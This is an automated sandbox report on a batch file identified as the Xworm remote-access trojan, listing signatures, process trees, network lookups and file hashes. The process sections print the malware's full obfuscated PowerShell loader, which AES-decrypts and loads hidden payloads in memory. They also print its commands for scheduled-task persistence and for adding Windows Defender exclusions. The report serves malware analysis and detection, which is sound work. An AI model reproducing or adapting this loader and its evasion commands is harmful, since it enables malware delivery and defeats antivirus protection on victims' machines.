Analysis Overview
SHA256
6aee17ca27d29ea8952f26e7b3eed2d80a0747354d687f2330a82e59139cfeb9
Threat Level: Known bad
The file goodgame.bat was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Command and Scripting Interpreter: PowerShell
Command and Scripting Interpreter: PowerShell
Deletes itself
Drops startup file
Checks computer location settings
Adds Run key to start application
Legitimate hosting services abused for malware hosting/C2
Enumerates physical storage devices
Modifies registry class
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-14 05:09
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-14 05:09
Reported
2024-06-14 05:12
Platform
win7-20240611-en
Max time kernel
120s
Max time network
124s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2100 wrote to memory of 2788 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2100 wrote to memory of 2788 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2100 wrote to memory of 2788 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\goodgame.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nrA+HAZ+Ulq5eZT9L65t9ohlRXAOCN/UIjmQqDnopLs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('m2v6JMaHctPbjmjwvu6YAg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ouJmA=New-Object System.IO.MemoryStream(,$param_var); $ZoHBK=New-Object System.IO.MemoryStream; $LOOxo=New-Object System.IO.Compression.GZipStream($ouJmA, [IO.Compression.CompressionMode]::Decompress); $LOOxo.CopyTo($ZoHBK); $LOOxo.Dispose(); $ouJmA.Dispose(); $ZoHBK.Dispose(); $ZoHBK.ToArray();}function execute_function($param_var,$param2_var){ $mvSHO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wJJfv=$mvSHO.EntryPoint; $wJJfv.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\goodgame.bat';$IRGaP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\goodgame.bat').Split([Environment]::NewLine);foreach ($MfXjM in $IRGaP) { if ($MfXjM.StartsWith(':: ')) { $PgRgg=$MfXjM.Substring(3); break; }}$payloads_var=[string[]]$PgRgg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
Files
memory/2788-4-0x000007FEF5CCE000-0x000007FEF5CCF000-memory.dmp
memory/2788-5-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp
memory/2788-6-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp
memory/2788-7-0x000000001B1A0000-0x000000001B482000-memory.dmp
memory/2788-9-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp
memory/2788-8-0x0000000002590000-0x0000000002598000-memory.dmp
memory/2788-10-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp
memory/2788-11-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-14 05:09
Reported
2024-06-14 05:12
Platform
win10v2004-20240508-en
Max time kernel
143s
Max time network
150s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\goodgame.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nrA+HAZ+Ulq5eZT9L65t9ohlRXAOCN/UIjmQqDnopLs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('m2v6JMaHctPbjmjwvu6YAg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ouJmA=New-Object System.IO.MemoryStream(,$param_var); $ZoHBK=New-Object System.IO.MemoryStream; $LOOxo=New-Object System.IO.Compression.GZipStream($ouJmA, [IO.Compression.CompressionMode]::Decompress); $LOOxo.CopyTo($ZoHBK); $LOOxo.Dispose(); $ouJmA.Dispose(); $ZoHBK.Dispose(); $ZoHBK.ToArray();}function execute_function($param_var,$param2_var){ $mvSHO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wJJfv=$mvSHO.EntryPoint; $wJJfv.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\goodgame.bat';$IRGaP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\goodgame.bat').Split([Environment]::NewLine);foreach ($MfXjM in $IRGaP) { if ($MfXjM.StartsWith(':: ')) { $PgRgg=$MfXjM.Substring(3); break; }}$payloads_var=[string[]]$PgRgg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_767_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_767.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_767.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_767.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nrA+HAZ+Ulq5eZT9L65t9ohlRXAOCN/UIjmQqDnopLs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('m2v6JMaHctPbjmjwvu6YAg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ouJmA=New-Object System.IO.MemoryStream(,$param_var); $ZoHBK=New-Object System.IO.MemoryStream; $LOOxo=New-Object System.IO.Compression.GZipStream($ouJmA, [IO.Compression.CompressionMode]::Decompress); $LOOxo.CopyTo($ZoHBK); $LOOxo.Dispose(); $ouJmA.Dispose(); $ZoHBK.Dispose(); $ZoHBK.ToArray();}function execute_function($param_var,$param2_var){ $mvSHO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wJJfv=$mvSHO.EntryPoint; $wJJfv.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_767.bat';$IRGaP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_767.bat').Split([Environment]::NewLine);foreach ($MfXjM in $IRGaP) { if ($MfXjM.StartsWith(':: ')) { $PgRgg=$MfXjM.Substring(3); break; }}$payloads_var=[string[]]$PgRgg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
Files
memory/3304-0-0x00007FFE7B8E3000-0x00007FFE7B8E5000-memory.dmp
memory/3304-1-0x000002183AEF0000-0x000002183AF12000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c1wm3jms.1ff.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3304-11-0x00007FFE7B8E0000-0x00007FFE7C3A1000-memory.dmp
memory/3304-12-0x00007FFE7B8E0000-0x00007FFE7C3A1000-memory.dmp
memory/3304-13-0x000002183B150000-0x000002183B158000-memory.dmp
memory/3304-14-0x000002183B160000-0x000002183B174000-memory.dmp
memory/1176-25-0x00007FFE7B8E0000-0x00007FFE7C3A1000-memory.dmp
memory/1176-26-0x00007FFE7B8E0000-0x00007FFE7C3A1000-memory.dmp
memory/1176-27-0x00007FFE7B8E0000-0x00007FFE7C3A1000-memory.dmp
memory/1176-30-0x00007FFE7B8E0000-0x00007FFE7C3A1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 773440cd6eb4e778c7d2115d1f231f75 |
| SHA1 | 4b600aa41fcd267817961c95b104a0717c40e558 |
| SHA256 | 64c178f2a2edc319c244fa885951e0425ad172e0c9c18d9773069fa13a44385c |
| SHA512 | af0370eb22d7153b7b71a033f56bc08796a0be9a1aa0f479585e03e099a215114f6ac059cf588999f3be36d91bc38ec64b0695071292db8e324ee7bcd505ee35 |
C:\Users\Admin\AppData\Roaming\startup_str_767.vbs
| MD5 | 667a31236f4af110d97573e819797ea3 |
| SHA1 | b2da3dec5e8acac46435158e4455d9d592470a1e |
| SHA256 | efc159f9be45487df2058997523995fa5f859e0721c266fac574c62ba7681a54 |
| SHA512 | d8379c1f846ff04bccd0004e79901c56f60ad0176e059584f7a93457bd75b1580499a32b540cd23f216509ee935929b7b9049e129d534000ec07aec813abb007 |
C:\Users\Admin\AppData\Roaming\startup_str_767.bat
| MD5 | a08bf8465d73246a03c57b430c733d3e |
| SHA1 | 61efb1061194bfd0bcc8cf72e727805f24d3aefa |
| SHA256 | 6aee17ca27d29ea8952f26e7b3eed2d80a0747354d687f2330a82e59139cfeb9 |
| SHA512 | 5ed81c0013df3fead4299dddce30b3a89a4c7365d04b75fe6b361b9f5750b3927d056ce9556adf899701f5dfb6f32620a63e2dfe0f6653484328d1213218dbe2 |
memory/4848-49-0x000002BB74EF0000-0x000002BB74F08000-memory.dmp
memory/3304-50-0x00007FFE7B8E0000-0x00007FFE7C3A1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 77d622bb1a5b250869a3238b9bc1402b |
| SHA1 | d47f4003c2554b9dfc4c16f22460b331886b191b |
| SHA256 | f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb |
| SHA512 | d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 843fa6530abc38e9c291323ae671462f |
| SHA1 | 11fb3d6c1a4fe750bef3c2f582a69139164e857c |
| SHA256 | 93f9557a33f4137038f4d99642e96181d8289bfd3c8427a1639567fb53396f29 |
| SHA512 | f452d6f6b0692386079e645838e0f0dc2da90885f98787229c7d3dc2fb2f438130cc3409bdbec8c1882b675e08e6618998dfff169c49b556f47f0247a259361d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6b1c84e3d5385578f9f762f086ab45ba |
| SHA1 | 8891589c31628d85d961a82fab925c7198674bf8 |
| SHA256 | a146fa0f0cedfee4f25d00ea5fdb22f517bea44764cc56b4a9841b960b74aa6d |
| SHA512 | 0aa8676b90507421e6263d0ccc4b0ce7ea2b45f814809834dafa0ac2a9d335db9637c2ace12681a9de8a51af13da8ecc71e392017b166cd090288df12b14528d |